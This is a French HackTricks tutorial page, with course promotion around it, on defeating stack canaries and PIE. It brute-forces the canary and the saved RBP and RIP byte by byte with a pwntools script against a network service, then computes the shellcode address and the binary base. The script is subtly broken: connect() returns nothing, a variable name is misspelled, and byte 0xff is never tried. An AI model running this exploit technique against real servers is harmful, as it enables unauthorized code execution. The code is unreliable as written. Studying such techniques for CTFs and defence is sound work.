6.8 KiB
Adresses BF dans la pile
{% hint style="success" %}
Apprenez et pratiquez le piratage AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le piratage GCP : Formation HackTricks GCP Red Team Expert (GRTE)
Soutenez HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Si vous faites face à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.
{% hint style="info" %}
Notez que checksec
pourrait ne pas détecter qu'un binaire est protégé par un canari s'il a été compilé statiquement et n'est pas capable d'identifier la fonction.
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est sauvegardée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant de sortir.
{% endhint %}
Adresses Brute-Force
Pour contourner le PIE, vous devez fuir une adresse. Et si le binaire ne fuit pas d'adresses, la meilleure chose à faire est de forcer le RBP et le RIP sauvegardés dans la pile dans la fonction vulnérable.
Par exemple, si un binaire est protégé à la fois par un canari et PIE, vous pouvez commencer à forcer le canari, puis les 8 octets suivants (x64) seront le RBP sauvegardé et les 8 octets suivants seront le RIP sauvegardé.
{% hint style="success" %} Il est supposé que l'adresse de retour dans la pile appartient au code binaire principal, ce qui, si la vulnérabilité est située dans le code binaire, sera généralement le cas. {% endhint %}
Pour forcer le RBP et le RIP du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme affiche quelque chose ou s'il ne plante tout simplement pas. La même fonction que celle fournie pour forcer le canari peut être utilisée pour forcer le RBP et le RIP :
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
La dernière chose dont vous avez besoin pour contourner le PIE est de calculer les adresses utiles à partir des adresses divulguées : le RBP et le RIP.
À partir du RBP, vous pouvez calculer où vous écrivez votre shell dans la pile. Cela peut être très utile pour savoir où vous allez écrire la chaîne "/bin/sh\x00" à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un point d'arrêt après avoir divulgué le RBP et vérifier où se trouve votre shellcode, puis calculer la distance entre le shellcode et le RBP :
INI_SHELLCODE = RBP - 1152
À partir du RIP, vous pouvez calculer l'adresse de base du binaire PIE dont vous aurez besoin pour créer une chaîne ROP valide.
Pour calculer l'adresse de base, exécutez simplement objdump -d vunbinary
et vérifiez les dernières adresses de désassemblage :
Dans cet exemple, vous pouvez voir qu'il suffit de 1 octet et demi pour localiser tout le code, puis, l'adresse de base dans cette situation sera le RIP divulgué mais se terminant par "000". Par exemple, si vous avez divulgué 0x562002970ecf
, l'adresse de base sera 0x562002970000
.
elf.address = RIP - (RIP & 0xfff)
Améliorations
Selon certaines observations de cet article, il est possible que lors de la fuite des valeurs RBP et RIP, le serveur ne plante pas avec certaines valeurs qui ne sont pas les bonnes et le script BF pensera qu'il a obtenu les bonnes. Cela est dû au fait qu'il est possible que certaines adresses ne le cassent pas même si elles ne sont pas exactement les bonnes.
Selon cet article de blog, il est recommandé d'ajouter un court délai entre les requêtes envoyées au serveur.
{% hint style="success" %}
Apprenez et pratiquez le piratage AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le piratage GCP : Formation HackTricks GCP Red Team Expert (GRTE)
Soutenez HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.